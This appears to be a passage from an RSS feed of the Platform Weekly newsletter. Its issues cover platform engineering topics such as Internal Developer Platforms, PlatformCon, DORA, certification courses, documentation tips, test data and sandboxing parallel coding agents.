in\ud83d\udc7d\n 3 biggest lessons from the AWS Summit\n12000+ people were at the AWS summit in London this week. I feel like I talked to all of them. How can I get started? What is a Minimum Viable Platform? I\u2019ve got my Internal Developer Platform, now what? To think 3 years ago, I had to chase people down to tell them what platform engineering was.\nIn all these 100+ conversations, these are the 3 biggest things I learned\n\n\nPeople are still far too focused on the front end of your platform. Building a service catalog with Backstage does not make an Internal Developer Platform (IDP). I lost count of the people I talked to who were trying to find some way to get out of the Backstage quagmire they\u2019d gotten themselves into. Backstage absolutely has its place. But it is a piece of the puzzle, not the end result.\n\n\nInfrastructure peeps don\u2019t fully see yet what platform engineering does for them. Honestly, I don\u2019t blame them. We spend so much time in the community talking about DevEx and faster software delivery and not enough on how platform engineering is going to revolutionize infrastructure. We\u2019ve got to change that.\n\n\nThere is still SO much room to grow here. We might finally all be talking about platforms and how best to build and run them, but the majority of orgs have barely gotten started yet. If you hang out in the community all day, you might think everyone is platform engineering full force already but we are still at the beginning of this wave.\nLesson number 4? People still love our DevOps is dead shirts.\nThe most important thing coming back from the AWS summit, and all of these major live events is just a sense of how far we\u2019ve come. And how far we\u2019ve got still to go.\nI can\u2019t wait.\nQuick bites\nArticles of the week:\n\n\nIBM buys Hashicorp\n\nPlatform Engineering in action: Deploy the Online Boutique sample apps\nFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  What\u2019s Next for Platform Engineering at PlatformCon 2025?\n  https://platformweekly.com/issues/whats-next-for-platform-engineering-at-platformcon-2025\n  https://platformweekly.com/issues/whats-next-for-platform-engineering-at-platformcon-2025\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly peel of the platform engineering banana. Each week, we explore deeper into the platform engineering cosmos, discussing the latest news, best practices, lessons, and insights from the community.\nWhat\u2019s hot in platform engineering?\n\n\nThe first platform engineering certification course of 2025 just started yesterday!\n\nPlatform engineering pitfalls featuring community ambassador Jordan Chernev\n\nOpenTofu 1.9.0 arrives with for_each on providers!? This battle is getting interesting\nThe next DevOps is dead?\nAre we going to have another DevOps is dead moment at PlatformCon 2025? What\u2019s in store this year?!\nIf you could talk to 40,000 people about platform engineering, what would you say? You can tell them anything you want. You could shake them to their core with a bombshell like \u201cSilos are fantastic.\u201d Or break down how your 150-year-old company is succeeding at platform engineering?\nYou could help them guarantee they get adoption for their Platform, or dig up DevOps is dead one last time.\nPlatformCon has changed a lot from its first edition back in 2022. Back then we were right in the thick of Covid. And platform engineering was just a newly hatched bird. Sure, it might\u2019ve been like a really badass bald eagle or something, but it was still only just starting to spread its wings.\nNow 3 years later, PlatformCon (and platform engineering) are rocketing off into space. We\u2019ve grown from 7000 attendees to over 35,000, with 100s of thousands more watching on Youtube in the months after.\nWe\u2019re being supported by basically every big name in the space. We\u2019re going live and in-person in London, New York, and in Paris - with 1000s of people coming together for live networking, in-person trainings, and hands-on workshops.\nIt feels like PlatformCon couldn\u2019t be more different than that hatchling in 2022.\nBut what really matters is what is the same.\nIt is still the same incredible community that makes all this possible. All coming together to funnel all the knowledge in the platform engineering universe through one incredible week of talks, workshops and discussions. Everything from best practices and successful frameworks to our worst mistakes and failures to avoid. \nWhether you share your platform story on stage, or in a thread in Slack.\nPlatformCon wants to tell it. And we all want to hear it.]]>\n  \n  Sat, 25 Jan 2025 00:00:00 GMT\n\n\n  Do you believe in parallel coding agents?\n  https://platformweekly.com/issues/do-you-believe-in-parallel-coding-agents\n  https://platformweekly.com/issues/do-you-believe-in-parallel-coding-agents\n  \n  \nThe other day I happened upon an X thread that got me thinking: \"Do you believe in parallel coding agents? Do you think it'll become an important part of future software engineering?\"\nFirst, let me define. A coding agent is effectively running a model in a loop, editing files, running terminal commands and iterating. As agents get better developers are now pushing the boundaries to get multiple agents working on tasks in parallel, using git worktree, kanban visualizations, sub-agents and other techniques to really squeeze the juice out of these new agent tools.\nBut whilst we push the boundaries of agents, we must solve the \u2018trust\u2019 problem. We cannot hand over end-to-end critical work to an agent without a human-in-the-loop. If we get parallelism right, coding agents are a huge productivity opportunity. But first we have to reckon with helping our developers to see and \u2018believe\u2019 in agents and the possibility of parallel agent work.\nBut what does this all mean for platform teams? Aren\u2019t agents a developer concern?\nNot exactly. With growing agent autonomy we\u2019re also now seeing agents being shifted to the cloud, called \u2018parallel agents\u2019, \u2018background agents\u2019 or even \u2018async agents\u2019. Agents that are writing code in remote environments. This brings these agents very squarely into the domain of most platform engineering teams who must now become the architects of what agents access, where they run, and how we put \u2018human-in-the-loop\u2019 reviews into our workflows. \nThat said, where can our teams start investing today? Aside from keeping an eye on the latest AI lab improvements and continuing to do our own evaluations. There are three key areas: \nBuilding our platform API first - Agents are powerful in their ability to \u2018function call\u2019 and make use of \u2018tools\u2019. Despite much fanfare around MCP we now see that agents function well with CLIs that are both discoverable and also occupy less no context window. For our platforms, we\u2019d be wise to adopt the infamous Bezos API mandate: \u201cAll teams will henceforth expose their data and functionality through service interfaces, and anyone who doesn't do this will be fired.\u201d\nSandboxing our environments - To maximize agent autonomy we need to be able to run agents with \"dangerously skip permissions\" or \u201cyolo\u201d mode enabled, but without fear of repercussions. That can\u2019t work without a sandbox or isolation. At the very least developers should be using Dev Container to isolate tasks and protect their machines when delegating work to agents, this will also make the shift to cloud based agents easier in future. \nAdhering to fine-grained access - Finally, advanced agent autonomy will demand fine-grained permissions. We need to ensure our agents can work effectively with access to systems without introducing catastrophic failures. So this means expediting our secrets management projects. \nThe shift to agents, particularly agents that work in parallel and in the background, that stretch the limit of human attention will push platform teams to completely re-think our tooling and infrastructure foundations. I also get that there\u2019s a lot going on in the AI space currently and \u2018agent\u2019 is certainly a loaded term. If you want to catch up on the trend, check out the developers guide to background agents that I put together which covers the foundational concepts that should bring you more up to speed. 2025 continues to be a wild one.]]>\n  \n  Tue, 16 Sep 2025 00:00:00 GMT\n\n\n  Your platforms biggest blind spot? Test data. \n  https://platformweekly.com/issues/the-quiet-bottleneck-slowing-down-your-platform\n  https://platformweekly.com/issues/the-quiet-bottleneck-slowing-down-your-platform\n  \n  \nIn the last year, the community has grown by almost 70,000 people. That number is driven overwhelmingly by the influx of folk from domains like observability, security, AI and ofcourse\u2026 data.\nFor all the progress we\u2019ve made in the platform engineering industry, there are some bottlenecks that slow teams down to a crawl and receive almost zero awareness. One big topic is access to usable, realistic, safe test data. Even the most advanced Internal Developer Platforms grind to a halt when engineers can\u2019t replicate production behaviours, or test any features without falling apart.\nWhile everyone was having fun at re:Invent, I was diving into Mark Brocato\u2019s awesome article and webinar combo on the value of synthetic data, and how to effectively generate it. The key points are:\n\n\nMany teams have long relied on masked production data or rules-based synthetic datasets but these are usually too rigid to capture the messiness of real systems.\n\nWe\u2019re now entering a new phase: Agentic AI that can reason over schemas, write code, enforce relationships, and iteratively generate far more realistic test data.\n\nThis change is crucial as platforms scale with microservices, distributed states, and AI-driven features, the gap between \u201chaving an environment\u201d and \u201chaving the right data in it\u201d has never been more important.\nThe result is a subtle but important shift in mindset, as test data becomes an integrated capability of the platform, not an afterthought. As agentic AI matures, the platform foundations around it grow stronger, the teams who embrace AI effectively will find themselves able to move faster, test more thoroughly, and maybe provide some of that sweet sweet self service we all keep talking about.\nNow wouldn\u2019t that be something.]]>\n  \n  Mon, 15 Dec 2025 00:00:00 GMT\n\n\n  Top 5 questions in platform engineering\n  https://platformweekly.com/issues/top-5-questions-in-platform-engineering\n  https://platformweekly.com/issues/top-5-questions-in-platform-engineering\n  \n  \nIn the last 6 months, across the platform engineering certification course, my webinars, roundtables, and meetings at conferences, I\u2019ve taken questions from 800 people on platform engineering. These are the top 5, and here are their answers.\n\n\nIs platform engineering just a rebrand of DevOps or SRE? No. Platform engineering is an evolution that includes the best aspects of DevOps and SRE, but more usable by most teams and orgs. It is a \u201csocio-technical\u201d blend of tooling, and culture through the abstraction, automation, and standardization benefits of the building of an Internal Developer Platform, and the product management benefits of Platform as a Product (treating that IDP like a product, with devs as customers).\n\nWhy shouldn\u2019t I just implement Backstage? Backstage is a tool with incredible potential, but it is NOT your platform. It\u2019s the frontend layer of your Internal Developer Platform. You also need to understand the actual total cost of ownership of Backstage, Cortex might \u201ccost\u201d and Backstage is \u201cfree\u201d. But if you require at least 2-3 engineers full-time to setup Backstage, then 1 to manage it\u2026 suddenly Cortex or another portal looks a whole lot cheaper to be your frontend layer.\n\nHow do we actually start? From looking at 100s of successful (and unsuccessful platform) initiatives, the Minimum Viable Platform (MVP) process is in my view the only way to go. You start small with 1 team and a sample app that mostly closely represents your estate. This lets you measure more easily, fine-tune your cultural questions, get everyone aligned, and prove value. You then expand.\n\nI already have Kubernetes and Terraform. Why do I need an Internal Developer Platform? K8s & Terraform are pieces of the puzzle. They are not an Internal Developer Platform. Also - I want you to go ask all your developers whether they like working themselves directly in Terraform or Kubernetes. If you find one - then come back;)\n\nIsn\u2019t platform engineering just hype? Yes, there is hype. The certification course has grown 5x in the last 6 months, and this newsletter has grown 20x in 2 years. But the data is there, 51% of orgs have started platform teams in the last 3 years. 80% are expected to have IDPs by 2026. And those IDPs will eat up more and more of those enterprises engineering. This is the future. \nWhat are your biggest questions? Reply to this and let me know!]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  The Five Families of Platform Engineering have met. This is what they said.\n  https://platformweekly.com/issues/the-five-families-of-platform-engineering-have-met-this-is-what-they-said\n  https://platformweekly.com/issues/the-five-families-of-platform-engineering-have-met-this-is-what-they-said\n  \n  \nHey there! This is Platform Weekly, your weekly look behind the curtain on the platform engineering revolution.\nThe Five Families of Platform Engineering have met. This is what they said.\nOn Tuesday, this week we had a godfather style meeting of some of the biggest thought leaders in the platform engineering space at the AWS re:Invent platform engineering executive roundtable. It included my friend and CEO Kaspar from Humanitec, Sean Alvarez from ThoughtWorks, the man himself Gregor Hohpe, and a selected group of practitioners from companies like WesternUnion, Salesforce, IBM, Oracle, GitHub. I don\u2019t think it\u2019s unfair to say that the conversations in that roundtable will shape a lot of the platform engineering world in 2024.\nSo what was discussed? Let me break it down.\nThe impact of Internal Developer Platforms is Insane \nIt\u2019s now been almost 2 years since the first companies started to put together a modern enterprise-grade Internal Developer Platform. That means we\u2019re starting to see the first real long term data on just how effective those platforms are. And the numbers are awesome.\n2 years ago, I was often talking about potentials and hypotheticals about what I felt platform engineering could deliver, and now I\u2019ve had the chance to see the numbers and results firsthand.\nThe pain and value is being perceived differently by different teams\nEvery company is different, and every team within those companies are different too. You\u2019ll have teams with very different goals and objectives for their platform, and these teams will have different views for whether the platform is working effectively. That is why it\u2019s so important that Internal Developer Platforms are being set up to best serve exactly what teams actually need, based on insights you\u2019re getting from the actual teams themselves.\nYou need to start small, and start fast. You can\u2019t be trying to build your final product from the get go\nIf you want a platform. You\u2019ve got to start now. And you\u2019ve got to move fast. Platform engineering seems to be like water, it will fill the space you give it. If you set a timeline of 2 years, it will take 2 years. If you focus on wanting your 2000 developers to be using it, you won\u2019t see results until the 2000 are.\nThis is the absolute worst way to approach platform engineering. You want to get it started as soon as possible, even if that means starting small. \n\u201cPick your pioneer team and get them started. Fine tune, see results, and expand\u201d\nThe performance of the early platform is crucial to companywide expansion and adoption\nEveryone will be looking at that first platform. Many will have preconceived views, but in the end, it\u2019s the performance of that platform that will set the stage for a company's platform engineering initiative.\nAs much as I hate to say it, there are still many people who perceive platform engineering as a fad. The best way to silence those critics, and make sure there is no slowdown in adoption is to make sure that that early platform works, and works well.\nWant to attend things like this yourself? The platform engineering community organizes awesome webinars like this every week\nQuick bites\nArticles that blew me away:\n\n\nCloud Native Users Struggle to Achieve Benefits, Report Says\nFrom the community:\n\n\nThe conversation continues on last weeks article on DORA metrics\n\nA new community for diversity in tooling?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  The wild west of platform engineering is over\n  https://platformweekly.com/issues/the-wild-west-of-platform-engineering-is-over\n  https://platformweekly.com/issues/the-wild-west-of-platform-engineering-is-over\n  \n  \nHowdy there, pardner! This is Platform Weekly, your ride into the gentle and warm sunset of the platform engineering plains. Every week, we dive into the what\u2019s what of the platform engineering world.\nThe wild west of platform engineering is ending\nWe now know what an Internal Developer Platform should look like. And the best way to start one. Are we safe from the tech hype curse?\nAnyone who has worked in tech for awhile knows that with any new hype train be it DevOps, GitOps or even my beloved platform engineering, there comes a total chaos of descriptions, definitions, guidelines, best practices and ideas of what this whole thing is actually about.\nTake DevOps. The term was coined in 2009 and yet you\u2019ll still find a half dozen competing ideas of what DevOps actually is online. Platform engineering has faced similar challenges (there is a reason my IDP vs IDP webinar resonated so much).\nHowever, unlike those that came before, Platform Engineering seems to be hitting its stride much faster when it comes to standardization and best practices. There is still a long way to go of course (esp considering people still think Platform = Service catalog), but we\u2019ve made some awesome progress this year.\nIn the last 2 months, I\u2019ve talked to hundreds of people at KubeCon, Google Cloud Next and beyond, not to mention the hundreds of PlatformCon submissions I\u2019ve read. There are a few things that are clearly consistent.\nMost people's idea of an Internal Developer Platform looks like this.\n(Note that this is one for AWS. Azure, GCP, Openshift, multi or hybrid setups etc will look slightly different but maintain the same core concept)\nWe can also confidently say what the best practice is for actually building an IDP. And if you\u2019re a long time reader of this newsletter you\u2019ll know what that is, a Minimum Viable Platform (MVP).\nMVPs so far seem to be the best way for most enterprises to get started with platforming and have an effective path forward towards a full IDP. It avoids the risk of prolonged and expensive platform engineering initiatives, and lets you build a platform from the ground up where you can be confident it is solving real pain AND will actually be adopted.\nSo if we already know what a platform should look like, and how to get started doing it, what is left? To actually get started. So, let\u2019s do it, and let\u2019s do it right.\nThat way we can avoid a viral \u201cPlatform Engineering is dead\u201d moment in 10 years time\ud83d\ude09\nQuick bites\nArticles of the week:\n\n\nYour engineering organization is too expensive\nFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  the future of DORA\n  https://platformweekly.com/issues/the-future-of-dora\n  https://platformweekly.com/issues/the-future-of-dora\n  \n  \nHey there! This is Platform Weekly, your weekly source of platform engineering crunchiness. Someone mentioned to me that there has been a distinct lack of bakery related puns in Platform Weekly these days. I knead to fix that\ud83e\udd50\nThe future of DORA\nThe 2024 DORA survey just launched. For more than 10+ years at this point, DORA has been one of the defining research programs for DevOps, Software engineering and now platform engineering teams to drive efficiency and clearly communicate and understand performance.\nAccording to DORA, this years\u2019 survey is focusing on 3 areas:\n\n\nArtificial Intelligence (AI) - This year we are expanding our inquiry in this area to better understand how AI is changing your work and the impact of those changes. How is AI impacting organizational performance?\n\nPlatform Engineering - We want to better understand how your organization is approaching platform engineering. Platform engineering may include both technologies and teams. How does platform engineering impact software delivery performance?\n\nDeveloper Experience - What is your overall experience like as you work to deliver for your customers? How does your experience impact the value you're able to deliver?\nOur input to DORA is super important for the research process. As DORA\u2019s research is one of those things that really help teams understand where they are and how they measure themselves. It\u2019s one of the best ways to make sure the collective understanding of the software engineering world reflects the world that we actually live in.\nWhat are you waiting for? Fill in the survey and shape the future of platform engineering\nP.S. We\u2019ve got an AWESOME talk at PlatformCon this year on DORA by Nathen Harvey, the DORA Lead and Developer Advocate at Google Cloud. You don\u2019t want to miss it.\nQuick bites\nArticles of the week:\n\n\nYou\u2019re doing platform engineering wrong. Probably.\nFrom the community:\nWhere does DataOps fit into platform engineering? Join the conversation!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform engineering future-proofing: Move from software craftsmanship to scalability.\n  https://platformweekly.com/issues/platform-engineering-future-proofing-move-from-software-craftsmanship-to-scalability\n  https://platformweekly.com/issues/platform-engineering-future-proofing-move-from-software-craftsmanship-to-scalability\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly dip into the platform engineering jacuzzi. Every week, we explore another area of the platform engineering universe.\nBTW - We just confirmed Kelsey Hightower for PlatformCon. Come meet him LIVE in New York\ud83c\udf89\nStop building your software like an artisan\nHow long does it take you (or your developers) to get a simple resource like a new database?\n10 seconds? An hour? 2 days? 3 weeks? Everyone reading here will have a different answer.\nYou will all share a similar but slightly different reaction though. Half will say \u201c10 seconds?? That\u2019s impossible\u201d and the other will say \u201c3 weeks? That\u2019s impossible\u201d\nThat is the delta between advanced platform engineering setups and your standard DevOps setup at the enterprise.\nI am working with a team right now where, when we started, developers had to wait almost 3 weeks and 17 manual steps with handoff to multiple engineers, I&O, security, and at least 1 engineering manager. Every single time.\nSome of you might be shocked. But for most orgs out there. That is the norm.\nWhy? I have a pretty simple answer.\nSoftware engineering is still in its craftsmanship phase.\nRather than the default being large, effective interconnected systems of automation and standardization. The default is the dream of the \u201c10x engineer\u201d. Most orgs build software like they are a small artisan workshop with master craftspeople.\nWhat do I mean by this? My favorite example is to think of a chair. A master craftswoman can go from raw tree to chair and knows exactly how different wood, and different tools all impact the product. They know every piece of the process and are responsible for it. Sounds great. Until you need 10 million chairs. Or you need a chair in 10 seconds.\nThis is how software engineering currently works at most enterprises.\nJust look at how the scope of responsibility of the average Dev has exploded in the last 20 years.\nInspired by Daniel Bryant\u2019s great talk at PC22\nPlatform Engineering is about solving this trend. It\u2019s about becoming IKEA to produce your chairs.\nIt\u2019s about building simpler, more automated, more standardized systems that let your developers deliver what they need without needing to understand the myriad different stakeholders they\u2019re touching.\nIt\u2019s about letting them press the gas, and the car accelerates - without having to send a Jira ticket and a Slack message to the fuel injector - or go inject the fuel themselves\u2026\nMost industries (that ironically software accelerates) have already gone through this process from master craftsperson to assembly line. A dock crane operator would be fine in Hamburg or in Baltimore. The screws in my chair are likely the exact same as in yours.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  5 tips to make your docs more successful\n  https://platformweekly.com/issues/5-tips-to-make-your-docs-more-successful\n  https://platformweekly.com/issues/5-tips-to-make-your-docs-more-successful\n  \n  \nHey there! This is Platform Weekly, the newsletter that makes catching up on cloud-native like the first few days of spring: unexpectedly hot. \ud83d\ude09 Let\u2019s get bakin\u2019\n5 tips to make your docs more successful\nOlga Merkulova, Product Manager and Solutions Analyst\nBreaking news, Instagram Reels, TikTok, and YouTube Shorts, oh my! \nLiving in the era of information intoxication means the average person\u2019s attention span in 2022 is ~8 seconds. No wonder it\u2019s hard conquering readers\u2019 attention with your documentation. That\u2019s why it\u2019s important to make your docs exciting and interesting to read, here\u2019s how \ud83d\udc47\n1. WHO \u2192 WHEN \u2192 WHY\nFind out who your reader is, when they will read your docs, and why. Keep in mind how they will find your documentation and under which circumstances.\n2. Don\u2019t start right away! \nFirst, think about the structure of your whole documentation and determine your:\n- Audience (e.g. end users, software developers, executives, sales, etc)\n- Audience level of expertise\n- Level of detail you need to put in\n- Entry points like \u201cHow to\u201d or \u201cWhat if\u201d.\nThere are a lot of free templates on the internet to help you with this process. Get inspiration from them.\n\u200d\n3. Think about readability \nThis isn\u2019t just about using bullet points. Below are several techniques of what can be used to architect information:\n\u2192 Graphs\n\u2192 Concept maps\n\u2192 Infographics\n\u2192 Short videos or screen cast\n\u2192 Mind maps\n4. Get creative \nIf it\u2019s possible to use images to explain, do so. We live in a global world and the less language-specific you can be, the better.\n\u200d\n5. The rule of 10-5\nThis means 10 seconds of reading and 5 seconds of examining one of the readability tricks from point 3. Take into account that the average attention span is around 10 seconds, so consider switching to another way of presenting information after this period of time.\nWhenever you think about documentation, think about it in terms of a software development process:\nAnalysis \u2192 Requirements capture \u2192 Design \u2192 Implementation \u2192 Maintenance + Version control.\nThis approach will help you see the big picture and make it easier to write and maintain documentation.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The folks at Robusta benchmarked Kubernetes providers and node efficiency. \n\u201cTLDR; with default GKE nodes, you get half the CPU you pay for. Overhead is better but still noticeable on other Kubernetes providers. GKE autopilot is unaffected.\u201d\n\ud83e\udd50 Want to create an Internal Developer Platform your developers actually want to use? Here\u2019s where you (might be) getting it wrong. \ud83e\udd10\n\ud83e\udd50 According to this article, platform engineering makes healthcare developers more agile and boosts compliance. Pretty neat, right?\n\ud83e\udd50 Why is TikTok\u2019s recommendation system so damn good? I appreciated this take Damien Benveniste shared to LinkedIn \ud83d\udc47\n\ud83e\udd50 Here\u2019s how ChatGPT is changing your job. \ud83d\udc40\nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some updates:\n\n\nWhat are the next steps for learning about platform engineering?\n\nYou can take this network engineer\u2019s approach and dive into Git.\n\nOr you can pick up Go or Python like this Terraform user.\n\nConnect with your local platform engineering group for fun, IRL meetups.\n\n\nDon\u2019t know how to drive adoption of your platform? I really enjoyed this discussion on the topic.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n \n\u200d]]>\n  \n  Wed, 12 Apr 2023 00:00:00 GMT\n\n\n  Thoughtworks Gets It\n  https://platformweekly.com/issues/thoughtworks-gets-it\n  https://platformweekly.com/issues/thoughtworks-gets-it\n  \n  \nHey there! This is Platform Weekly, the newsletter that sends you electrifying stories so you\u2019re always the most interesting one in the group chat. \ud83e\udd50 Let\u2019s get bakin\u2019\nBefore we get started, I have a SUPER IMPORTANT ask. We are finalizing our platform engineering salary survey this week, if you are working in the space, you'd do me a huge favor if you could take 2mins to answer the questions. \ud83d\udc49here We already got 100s of responses and will share results with you and the community asap!\nThoughtworks gets it\nI\u2019ve been following Thoughtworks for a while now. They were some of the very first players in the software engineering world to define what later became Internal Developer Platforms (IDPs). They were also speaking about the importance of a platform team working as a product team, i.e. one of my favorite topics, Platform as a Product.\nWhat makes them even cooler? Thoughtworks were doing this back in 2017. A time when most people weren\u2019t even thinking about building platforms yet, and were still trying to figure out how to do DevOps at enterprise scale AND on top of complex cloud native setups (hint, they didn\u2019t figure it out).\nSo I wasn\u2019t surprised \u2014 though still impressed \u2014 when a couple weeks back they officially recognized platform orchestration as a fundamental part of platform engineering and added platform orchestration to their technology radar.\nWhy should I care, you ask? If you\u2019re serious about implementing platform engineering and building IDPs (which if you are reading this I\u2019m assuming you are), you can\u2019t ignore platform orchestration. A Platform Orchestrator is the core configuration engine at the heart of any enterprise-grade IDP. It\u2019s what allows you to standardize both app and infra configs, as well as all workflows. It\u2019s also what lets you enforce clear RBAC and compliance alongside your apps\u2019 lifecycle. In short, it\u2019s what makes your platform truly enterprise-ready.\nThink of a Platform Orchestrator as the glue of your cloud native toolchain. It integrates with your CI pipeline, your developer portal, your resources and observability tools, and more.\nThe cloud native and platform engineering landscape is constantly evolving and it\u2019s great to see seasoned players like Thoughtworks leading the pack once more.\nQuick bites\nRecent articles that blew our minds:\n\n\nBy Jennifer Riggins, A Guide to Open Source Platform Engineering - The New Stack \n\nBy Bill Doerr, Tips For Managing Internal Developer Platforms (IDPs) - DevOps.com \nFrom the Platform Engineering Slack channel:\n\n\nGregor is looking into IDP components with bootstrapping and compliance capabilities. Any ideas?\n\nWhat are the options for a small (~2 engineers) team going back and forth between leveraging existing products and establishing \"golden paths\" via low-level automation? \n\nPlatform Engineering is evolving, but we should not confuse evolution with constant change\u2026]]>\n  \n  Fri, 20 Oct 2023 00:00:00 GMT\n\n\n  Become a certified platform architect\n  https://platformweekly.com/issues/become-a-certified-platform-architect\n  https://platformweekly.com/issues/become-a-certified-platform-architect\n  \n  \nWe\u2019ve had over 1,000 students take our platform engineering certifications, and I\u2019m extremely excited to announce the most technical one we\u2019ve ever done. If you are someone who wants to get your hands dirty, write code, play with labs, and become the technical platform engineering master your org needs, that\u2019s exactly what the Platform Engineering Certified Architect course was built for.\nIndustry-leading platform masters Ajay Chankramath and Bryan Oliver dive deep into the architectural frameworks and automation patterns that leading organizations use today (and give you a hands-on capstone project that ties everything together).\nBy the end of the course, you\u2019ll be able to:\n\n\nBuild and automate compliant, secure platform foundations\n\nImplement Policy-as-Code with OPA, Gatekeeper, and Kyverno\n\nDesign APIs and CLIs for seamless developer interaction\n\nIntegrate Falco and SPIFFE/SPIRE for Zero Trust runtime security\n\nUse Kubernetes Operators to automate platform operations\n\nDeliver and present your own full-stack platform architecture\nEach module builds toward a complete architectural IDP solution based on K8s, covering everything from foundational setup and compliance automation to runtime security, platform APIs, and full-stack automation workflows. \nThe course includes live sessions, recordings of all (so no worries if you can\u2019t join live), a Slack community for discussion and group learning, and direct Q&A access to two top experts in the field.\nIf you joined this course, you will not only be a certified platform engineering architect by 2026, but you will also enter the new year with the most advanced and up-to-date understanding of how to deliver successful platform engineering.\nThere is no better use of that last remaining learning budget. See you there!]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  What's the state of platform engineering?\n  https://platformweekly.com/issues/whats-the-state-of-platform-engineering\n  https://platformweekly.com/issues/whats-the-state-of-platform-engineering\n  \n  \nHey there! \nWhat is the state of platform engineering in 2023? Puppet\u2019s special platform engineering edition of their annual DevOps report dives in. Here are the highlights. Let\u2019s get bakin\u2019\nWhat's the state of platform engineering?\nPuppet recently released the 2023 State of DevOps Report: Platform Engineering Edition \u2013 yet another sign that platform engineering is here to stay! But what does the report have to say? Here\u2019s the short version.\n1\ufe0f\u20e3 Platform engineering helps realize the benefits of DevOps, at least according to 94% of the 438 individuals surveyed. Specific benefits include an increase in development velocity (68%), improved system reliability (60%), increased productivity and efficiency (59%), and better workflow standards (57%). \n93% of respondents believe adopting platform engineering is a good move. Additionally, 37% of respondents from companies with platform engineering report being \"very satisfied\" with the efficiency of their product delivery process, compared to only 20% of those from companies without platform engineering.\n2\ufe0f\u20e3 Organizations are recognizing the benefits of platform engineering. The further along an organization is in their platform engineering journey, the better the results and the more confident the organization becomes. This leads to more hiring for platform team roles.\n53% of firms that have practiced platform engineering for over three years report a significant improvement in speed, compared to 35% of firms that have implemented it within the last three years. \n71% of respondents said their organization plans to hire people with platform engineering experience over the next year, with the majority (53%) planning to hire within the next 6 months.\n3\ufe0f\u20e3 Organizations are not investing enough in product management skills on their platform teams. I\u2019ve said it before, and I\u2019ll say it again: you need product management for your platform. Having a product manager role on the platform team is essential for developing a product mindset, promoting the platform, and effectively educating the company about the platform\u2019s capabilities.\nRespondents' top priorities for the platform team align with product management responsibilities, such as increasing awareness of platform capabilities (47%), setting realistic expectations for the platform team\u2019s role in the organization (44%), and keeping up with industry trends and feature requirements (37%). Despite this, firms are more likely to focus on other roles rather than product management, with 48% of roles falling under \"DevOps,\" followed by 45% software engineers, and 44% platform engineers.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 What does platform engineering look like at a startup? This article dives in.\n\ud83e\udd50 InfoQ shared software trends to look for in 2023. (And platform engineering made the list \ud83d\ude09)\n\ud83e\udd50 This article incorporates a lot of great perspectives on (and predictions for!) platform engineering: \u201cIt\u2019s not really DevOps. Platform engineering has changed and evolved. It\u2019s more than that.\u201d\n\ud83e\udd50 Data Platforms and Hadoop have made the life of SREs, operators, and platform engineers difficult. This next webinar will show you how converging data applications onto micro service platforms running on Kubernetes can destress operations and increase the performance and overall satisfaction of developers. Join us!\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some job opportunities recently shared by the community: \n\n\nObservability with Grafana and Prometheus\n\nHow to successfully embed DevX devs in other teams\n\nRunning keycloak to authenticate traffic for istio\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project, so if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Psychological Safety And Platform Engineering\n  https://platformweekly.com/issues/psychological-safety-and-platform-engineering\n  https://platformweekly.com/issues/psychological-safety-and-platform-engineering\n  \n  \nHey there!\nPsychological safety \ud83e\udd1d your successful platform engineering effort.\nLet\u2019s get bakin\u2019\nPsychological safety and platform engineering\nIt shouldn\u2019t come as a surprise that the best work environments are often the ones that promote a high degree of psychological safety. \ud83e\udde0\nIf an individual feels psychologically safe, they feel comfortable and confident contributing ideas, thinking creatively and challenging the status quo without worrying about receiving judgement. Psychological safety helps individuals feel valued and appreciated, learn more, and grow professionally. For organizations, ensuring psychological safety for employees increases the likelihood of having a diverse time, accelerates time-to-market, and drives innovation, among other benefits. \ud83d\udcc8\nTo cultivate psychological safety for your platform engineering team, you can treat psychological safety like products:\n\n\nEngage empathetically with team members\n\nAdmit when you make mistakes\n\nIterate on policies and procedures to implement fresh ways of thinking \ud83d\udca1\n\nGather regular feedback from your team to understand what\u2019s going well and where you can improve\n\nLead by example. Ask questions \ud83d\ude4b and take advantage of learning opportunities.\nHow do you know if your efforts are successful? It looks different for everyone, but here are four markers of success you should keep an eye out for:\n\n\nInclusion. \ud83e\uddd1\u200d\ud83e\udd1d\u200d\ud83e\uddd1 If everyone feels a sense of belonging to the team, you\u2019re on the right track \n\nLearning. Team members should feel safe asking questions and pursuing new learning opportunities\n\nContributing. Individuals should feel free to contribute their ideas to the team\n\nChallenging. \ud83d\udcaa Folks feel empowered to challenge the status quo without fear of retaliation\nPsychological safety is a spectrum, and cultivating it is a continuous process. But, with some effort, you can transform your engineering organization into one where teams can feel empowered and be creative.\nCheck out the full webinar here.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 How is cloud native changing CI/CD? \n\ud83e\udd50 What does an Internal Developer Platform look like? What should you focus on when building one for your organization? Humanitec\u2019s CEO Kaspar von Grunberg dives in on the .tech podcast.\n\ud83e\udd50 Here are 5 unconventional ways to boost your code quality. \ud83d\udcc8\n\ud83e\udd50 Did you know you can use ChatGPT for DevOps?\n\ud83e\udd50 A meme for you: \nLast but not least, have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights: \n\n\nWhich config management tools are suitable for a company that mainly deploys its apps on AWS serverless infrastructure?\n\nHow to build frameworks/capabilities as part of the platform engineering 